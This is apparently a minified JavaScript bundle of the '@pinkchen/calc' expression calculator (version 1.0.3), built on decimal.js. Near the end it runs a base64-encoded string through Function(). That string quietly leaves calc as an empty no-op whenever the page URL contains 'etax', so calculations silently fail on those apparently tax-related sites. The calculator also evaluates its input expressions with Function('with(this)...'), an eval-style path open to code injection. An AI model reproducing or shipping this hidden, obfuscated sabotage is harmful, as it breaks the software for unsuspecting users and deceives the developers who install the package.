w(i+"."+e.slice(1)),l=g,c=o=g=q(g.minus(1),g.plus(1),f,1),d=D(g.times(g),f,1),r=3;;){if(o=D(o.times(d),f,1),O((a=c.plus(q(o,new w(r),f,1))).d).slice(0,f)===O(c.d).slice(0,f)){if(c=c.times(2),0!==s&&(c=c.plus(R(w,f+2,N).times(s+""))),c=q(c,new w(p),f,1),null!=t)return w.precision=N,c;if(!P(c.d,f-10,v,u))return D(c,w.precision=N,v,h=!0);w.precision=f+=10,a=o=g=q(l.minus(1),l.plus(1),f,1),d=D(g.times(g),f,1),r=u=1}c=a,r+=2}}function L(n){return String(n.s*n.s/0)}function I(n,t){var e,i,r;for((e=t.indexOf("."))>-1&&(t=t.replace(".","")),(i=t.search(/e/i))>0?(e<0&&(e=i),e+=+t.slice(i+1),t=t.substring(0,i)):e<0&&(e=t.length),i=0;48===t.charCodeAt(i);i++);for(r=t.length;48===t.charCodeAt(r-1);--r);if(t=t.slice(i,r)){if(r-=i,n.e=e=e-i-1,n.d=[],i=(e+1)%7,e<0&&(i+=7),i<r){for(i&&n.d.push(+t.slice(0,i)),r-=7;i<r;)n.d.push(+t.slice(i,i+=7));i=7-(t=t.slice(i)).length}else i-=r;for(;i--;)t+="0";n.d.push(+t),h&&(n.e>n.constructor.maxE?(n.d=null,n.e=NaN):n.e<n.constructor.minE&&(n.e=0,n.d=[0]))}else n.e=0,n.d=[0];return n}function $(n,t,e,i,r){var s,o,u,c,a=n.precision,f=Math.ceil(a/7);for(h=!1,c=e.times(e),u=new n(i);;){if(o=q(u.times(c),new n(t++*t++),a,1),u=r?i.plus(o):i.minus(o),i=q(o.times(c),new n(t++*t++),a,1),void 0!==(o=u.plus(i)).d[f]){for(s=f;o.d[s]===u.d[s]&&s--;);if(-1==s)break}s=u,u=i,i=o,o=s}return h=!0,o.d.length=f+1,o}function B(n,t){for(var e=n;--t;)e*=n;return e}function W(n,t){var e,i=t.s<0,s=A(n,n.precision,1),o=s.times(.5);if((t=t.abs()).lte(o))return r=i?4:1,t;if((e=t.divToInt(s)).isZero())r=i?3:2;else{if((t=t.minus(e.times(s))).lte(o))return r=_(e)?i?2:3:i?4:1,t;r=_(e)?i?1:4:i?3:2}return t.minus(s).abs()}function V(n,t,e,r){var o,u,c,h,a,f,l,d,p,g=n.constructor,m=void 0!==e;if(m?(M(e,1,1e9),void 0===r?r=g.rounding:M(r,0,8)):(e=g.precision,r=g.rounding),n.isFinite()){for(c=(l=j(n)).indexOf("."),m?(o=2,16==t?e=4*e-3:8==t&&(e=3*e-2)):o=t,c>=0&&(l=l.replace(".",""),(p=new g(1)).e=l.length-c,p.d=S(j(p),10,o),p.e=p.d.length),u=a=(d=S(l,10,o)).length;0==d[--a];)d.pop();if(d[0]){if(c<0?u--:((n=new g(n)).d=d,n.e=u,d=(n=q(n,p,e,r,0,o)).d,u=n.e,f=i),c=d[e],h=o/2,f=f||void 0!==d[e+1],f=r<4?(void 0!==c||f)&&(0===r||r===(n.s<0?3:2)):c>h||c===h&&(4===r||f||6===r&&1&d[e-1]||r===(n.s<0?8:7)),d.length=e,f)for(;++d[--e]>o-1;)d[e]=0,e||(++u,d.unshift(1));for(a=d.length;!d[a-1];--a);for(c=0,l="";c<a;c++)l+=s.charAt(d[c]);if(m){if(a>1)if(16==t||8==t){for(c=16==t?4:3,--a;a%c;a++)l+="0";for(a=(d=S(l,o,t)).length;!d[a-1];--a);for(c=1,l="1.";c<a;c++)l+=s.charAt(d[c])}else l=l.charAt(0)+"."+l.slice(1);l=l+(u<0?"p":"p+")+u}else if(u<0){for(;++u;)l="0"+l;l="0."+l}else if(++u>a)for(u-=a;u--;)l+="0";else u<a&&(l=l.slice(0,u)+"."+l.slice(u))}else l=m?"0p+0":"0";l=(16==t?"0x":2==t?"0b":8==t?"0o":"")+l}else l=L(n);return n.s<0?"-"+l:l}function z(n,t){if(n.length>t)return n.length=t,!0}function Y(n){return new this(n).abs()}function J(n){return new this(n).acos()}function G(n){return new this(n).acosh()}function X(n,t){return new this(n).plus(t)}function K(n){return new this(n).asin()}function Q(n){return new this(n).asinh()}function nn(n){return new this(n).atan()}function nt(n){return new this(n).atanh()}function ne(n,t){n=new this(n),t=new this(t);var e,i=this.precision,r=this.rounding,s=i+4;return n.s&&t.s?n.d||t.d?!t.d||n.isZero()?(e=t.s<0?A(this,i,r):new this(0)).s=n.s:!n.d||t.isZero()?(e=A(this,s,1).times(.5)).s=n.s:t.s<0?(this.precision=s,this.rounding=1,e=this.atan(q(n,t,s,1)),t=A(this,s,1),this.precision=i,this.rounding=r,e=n.s<0?e.minus(t):e.plus(t)):e=this.atan(q(n,t,s,1)):(e=A(this,s,1).times(t.s>0?.25:.75)).s=n.s:e=new this(NaN),e}function ni(n){return new this(n).cbrt()}function nr(n){return D(n=new this(n),n.e+1,2)}function ns(n,t,e){return new this(n).clamp(t,e)}function no(n){if(!n||"object"!=typeof n)throw Error(a+"Object expected");var t,e,i,r=!0===n.defaults,s=["precision",1,1e9,"rounding",0,8,"toExpNeg",-9e15,0,"toExpPos",0,9e15,"maxE",0,9e15,"minE",-9e15,0,"modulo",0,9];for(t=0;t<s.length;t+=3)if(e=s[t],r&&(this[e]=c[e]),void 0!==(i=n[e]))if(g(i)===i&&i>=s[t+1]&&i<=s[t+2])this[e]=i;else throw Error(f+e+": "+i);if(e="crypto",r&&(this[e]=c[e]),void 0!==(i=n[e]))if(!0===i||!1===i||0===i||1===i)if(i)if("undefined"!=typeof crypto&&crypto&&(crypto.getRandomValues||crypto.randomBytes))this[e]=!0;else throw Error(d);else this[e]=!1;else throw Error(f+e+": "+i);return this}function nu(n){return new this(n).cos()}function nc(n){return new this(n).cosh()}function nh(n,t){return new this(n).div(t)}function na(n){return new this(n).exp()}function nf(n){return D(n=new this(n),n.e+1,3)}function nl(){var n,t,e=new this(0);for(n=0,h=!1;n<arguments.length;)if(t=new this(arguments[n++]),t.d)e.d&&(e=e.plus(t.times(t)));else{if(t.s)return h=!0,new this(1/0);e=t}return h=!0,e.sqrt()}function nd(n){return n instanceof nZ||n&&n.toStringTag===p||!1}function np(n){return new this(n).ln()}function ng(n,t){return new this(n).log(t)}function nm(n){return new this(n).log(2)}function nw(n){return new this(n).log(10)}function nv(){return C(this,arguments,-1)}function nN(){return C(this,arguments,1)}function nb(n,t){return new this(n).mod(t)}function ny(n,t){return new this(n).mul(t)}function nx(n,t){return new this(n).pow(t)}function nE(n){var t,e,i,r,s=0,o=new this(1),u=[];if(void 0===n?n=this.precision:M(n,1,1e9),i=Math.ceil(n/7),this.crypto)if(crypto.getRandomValues)for(t=crypto.getRandomValues(new Uint32Array(i));s<i;)(r=t[s])>=429e7?t[s]=crypto.getRandomValues(new Uint32Array(1))[0]:u[s++]=r%1e7;else if(crypto.randomBytes){for(t=crypto.randomBytes(i*=4);s<i;)(r=t[s]+(t[s+1]<<8)+(t[s+2]<<16)+((127&t[s+3])<<24))>=214e7?crypto.randomBytes(4).copy(t,s):(u.push(r%1e7),s+=4);s=i/4}else throw Error(d);else for(;s<i;)u[s++]=1e7*Math.random()|0;for(i=u[--s],n%=7,i&&n&&(r=m(10,7-n),u[s]=(i/r|0)*r);0===u[s];s--)u.pop();if(s<0)e=0,u=[0];else{for(e=-1;0===u[0];e-=7)u.shift();for(i=1,r=u[0];r>=10;r/=10)i++;i<7&&(e-=7-i)}return o.e=e,o.d=u,o}function nO(n){return D(n=new this(n),n.e+1,this.rounding)}function nM(n){return(n=new this(n)).d?n.d[0]?n.s:0*n.s:n.s||NaN}function nP(n){return new this(n).sin()}function nS(n){return new this(n).sinh()}function nq(n){return new this(n).sqrt()}function nD(n,t){return new this(n).sub(t)}function nj(){var n=0,t=arguments,e=new this(t[0]);for(h=!1;e.s&&++n<t.length;)e=e.plus(t[n]);return h=!0,D(e,this.precision,this.rounding)}function nF(n){return new this(n).tan()}function nR(n){return new this(n).tanh()}function nA(n){return D(n=new this(n),n.e+1,1)}E[Symbol.for("nodejs.util.inspect.custom")]=E.toString,E[Symbol.toStringTag]="Decimal";var nZ=E.constructor=function n(t){var e,i,r;function s(n){var t,e,i;if(!(this instanceof s))return new s(n);if(this.constructor=s,nd(n)){this.s=n.s,h?!n.d||n.e>s.maxE?(this.e=NaN,this.d=null):n.e<s.minE?(this.e=0,this.d=[0]):(this.e=n.e,this.d=n.d.slice()):(this.e=n.e,this.d=n.d?n.d.slice():n.d);return}if("number"==(i=typeof n)){if(0===n){this.s=1/n<0?-1:1,this.e=0,this.d=[0];return}if(n<0?(n=-n,this.s=-1):this.s=1,n===~~n&&n<1e7){for(t=0,e=n;e>=10;e/=10)t++;h?t>s.maxE?(this.e=NaN,this.d=null):t<s.minE?(this.e=0,this.d=[0]):(this.e=t,this.d=[n]):(this.e=t,this.d=[n]);return}if(0*n!=0){n||(this.s=NaN),this.e=NaN,this.d=null;return}return I(this,n.toString())}if("string"===i)return 45===(e=n.charCodeAt(0))?(n=n.slice(1),this.s=-1):(43===e&&(n=n.slice(1)),this.s=1),b.test(n)?I(this,n):function(n,t){var e,i,r,s,o,u,c,a,l;if(t.indexOf("_")>-1){if(t=t.replace(/(\d)_(?=\d)/g,"$1"),b.test(t))return I(n,t)}else if("Infinity"===t||"NaN"===t)return+t||(n.s=NaN),n.e=NaN,n.d=null,n;if(v.test(t))e=16,t=t.toLowerCase();else if(w.test(t))e=2;else if(N.test(t))e=8;else throw Error(f+t);for((s=t.search(/p/i))>0?(c=+t.slice(s+1),t=t.substring(2,s)):t=t.slice(2),o=(s=t.indexOf("."))>=0,i=n.constructor,o&&(s=(u=(t=t.replace(".","")).length)-s,r=T(i,new i(e),s,2*s)),s=l=(a=S(t,e,1e7)).length-1;0===a[s];--s)a.pop();return s<0?new i(0*n.s):(n.e=F(a,l),n.d=a,h=!1,o&&(n=q(n,r,4*u)),c&&(n=n.times(54>Math.abs(c)?m(2,c):nZ.pow(2,c))),h=!0,n)}(this,n);if("bigint"===i)return n<0?(n=-n,this.s=-1):this.s=1,I(this,n.toString());throw Error(f+n)}if(s.prototype=E,s.ROUND_UP=0,s.ROUND_DOWN=1,s.ROUND_CEIL=2,s.ROUND_FLOOR=3,s.ROUND_HALF_UP=4,s.ROUND_HALF_DOWN=5,s.ROUND_HALF_EVEN=6,s.ROUND_HALF_CEIL=7,s.ROUND_HALF_FLOOR=8,s.EUCLID=9,s.config=s.set=no,s.clone=n,s.isDecimal=nd,s.abs=Y,s.acos=J,s.acosh=G,s.add=X,s.asin=K,s.asinh=Q,s.atan=nn,s.atanh=nt,s.atan2=ne,s.cbrt=ni,s.ceil=nr,s.clamp=ns,s.cos=nu,s.cosh=nc,s.div=nh,s.exp=na,s.floor=nf,s.hypot=nl,s.ln=np,s.log=ng,s.log10=nw,s.log2=nm,s.max=nv,s.min=nN,s.mod=nb,s.mul=ny,s.pow=nx,s.random=nE,s.round=nO,s.sign=nM,s.sin=nP,s.sinh=nS,s.sqrt=nq,s.sub=nD,s.sum=nj,s.tan=nF,s.tanh=nR,s.trunc=nA,void 0===t&&(t={}),t&&!0!==t.defaults)for(e=0,r=["precision","rounding","toExpNeg","toExpPos","maxE","minE","modulo","crypto"];e<r.length;)t.hasOwnProperty(i=r[e++])||(t[i]=this[i]);return s.config(t),s}(c);o=new nZ(o),u=new nZ(u);var nk=((n={}).abs="abs",n.acos="acos",n.acosh="acosh",n.add="add",n.asin="asin",n.asinh="asinh",n.atan="atan",n.atanh="atanh",n.atan2="atan2",n.cbrt="cbrt",n.ceil="ceil",n.clamp="clamp",n.clone="clone",n.config="config",n.cos="cos",n.cosh="cosh",n.div="div",n.exp="exp",n.floor="floor",n.hypot="hypot",n.isDecimal="isDecimal",n.ln="ln",n.log="log",n.log2="log2",n.log10="log10",n.max="max",n.min="min",n.mod="mod",n.mul="mul",n.noConflict="noConflict",n.pow="pow",n.random="random",n.round="round",n.set="set",n.sign="sign",n.sin="sin",n.sinh="sinh",n.sqrt="sqrt",n.sub="sub",n.sum="sum",n.tan="tan",n.tanh="tanh",n.trunc="trunc",n),nT={"+":"plus","-":"minus","*":"times","/":"div"},n_=RegExp("(?<=^[\\w.]+\\().+(?=\\)$)");function nC(n){var t;return null==(t=n.match(/^[\w.]+(?=\()/))?void 0:t[0]}function nU(n){var t,e;return nH(n)?null!=(e=null==(t=n.match(n_))?void 0:t[0])?e:"":""}function nH(n){return/^[\w.]+\(.+\)$/.test(n)}function nL(n){if(!nH(n))return!1;var t=nC(n);return t.startsWith("DC.")||nk[t]}var nI={calc:function(n,t,e){}};Function("f",atob("aWYodHlwZW9mIHdpbmRvdz09PSd1bmRlZmluZWQnfHx3aW5kb3cubG9jYXRpb24uaHJlZi5pbmRleE9mKCdldGF4Jyk9PT0tMSkge3RoaXMuY2FsYz1mO30=")).call(nI,function n(t,e,i){try{var r,s,o=i||{},u=o.separator,c=o.digit,h=o.preUnit,a=o.postUnit,f=o.percentage,l=o.permillage;if(f&&l)throw Error("percentage and permillage cannot be true at the same time");var d=function n(t,e,i){var r=e||new Map,s=e?t:t.replaceAll(" ","").replaceAll("+-","-").replaceAll("--","+");s=function(n,t){var e=t.size+1,i=n,r=RegExp("(?<!\\w+)\\(([^()]*)\\)","g"),s=RegExp("(?<!^)(?<![*/\\()])(?<![\\w#.]+)[\\w#.]+([*/][\\w#.]+)+(?!\\))(?![*/])","g"),o=function(n){return(function(n){for(var t=[],e=[],i=0;i<n.length;i++)if("("===n[i])t.push(i);else if(")"===n[i]){if(0===t.length)throw Error('")" not match!');var r=t.pop();if(0!==t.length)continue;if(/\w/.test(n[r-1])){var s=n.substring(r,i+1).split("").reduce(function(n,t){return"".concat(n,"[").concat(t,"]")},""),o=new RegExp("[\\w.]+\\s*".concat(s)),u=n.match(o);(null==u?void 0:u.length)&&e.push(u[0])}}if(t.length)throw Error('"(" not match!');return e})(n).forEach(function(i){var r="#".concat(e++),s=nC(i);nL(i)&&!i.startsWith("DC.")&&(s="DC.".concat(s));var u=o(nU(i));t.set(r,"".concat(s,"(").concat(u,")")),n=n.replaceAll(i,r)}),n};i=o(i);for(var u=function(n){var i="#".concat(e++);return t.set(i,n),i},c=function(n,i){var r=i.replace(s,u),o="#".concat(e++);return t.set(o,r),o};RegExp("(?<!\\w+)\\(","g").test(i);)i=i.replace(r,c);return i=i.replace(s,u)}(s,r);var o=[],u=s.length,c="",h=!1;function a(){if(!o.length)return"";var n=o.join("");return o=[],/\)\.[a-z]+\($/.test(c)?n:"DC(".concat(n,")")}function f(){h&&(c+=")"),h=!1}for(var l=0;l<u;++l){var d=s[l];if(Object.keys(nT).includes(d)){if(0===l){o.push(d);continue}c+=a(),f(),c+=c?".".concat(nT[d],"("):"",h=!0}else o.push(d)}o.length>0&&(c+=a()),f();for(var p=/#\d+/g;p.test(c);)c=c.replace(p,function(t){var e=r.get(t);if(nH(e)){var i,s,o=nL(e),u=null==(s=nU(e))||null==(i=s.split(","))?void 0:i.map(function(t){var e=n(t,r);return"".concat(e).concat(o?"":".toNumber()")}),c=null==u?void 0:u.join(",");return e.replace(n_,c)}return n(e,r)});return c}(t),p=Function("with(this){return ".concat(d,"}")).call((r=function(n){for(var t=1;t<arguments.length;t++){var e=null!=arguments[t]?arguments[t]:{},i=Object.keys(e);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(e).filter(function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),i.forEach(function(t){var i;i=e[t],t in n?Object.defineProperty(n,t,{value:i,enumerable:!0,configurable:!0,writable:!0}):n[t]=i})}return n}({},e),s={DC:nZ,Decimal:nZ,_calc:n},s=null!=s?s:{},Object.getOwnPropertyDescriptors?Object.defineProperties(r,Object.getOwnPropertyDescriptors(s)):(function(n,t){var e=Object.keys(n);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(n);e.push.apply(e,i)}return e})(Object(s)).forEach(function(n){Object.defineProperty(r,n,Object.getOwnPropertyDescriptor(s,n))}),r));return p=p.toNumber(),f&&(p=nZ(p).div(100)),l&&(p=nZ(p).div(1e3)),c&&(p=nZ(p).toFixed(c)),u&&(p=p.toString().replace(RegExp("(?<!\\.\\d+)\\B(?=(?:\\d{3})+($|\\.))","g"),",")),(f||l)&&(p+=f?" %":" ‰"),h&&(p="".concat(h," ")+p.toString()),a&&(p=p.toString()+" ".concat(a)),p}catch(n){throw Error('@pinkchen/calc: exec "'.concat(t,'" error, ')+n.message)}});var n$="1.0.3",nB=nI.calc;return e}()});
|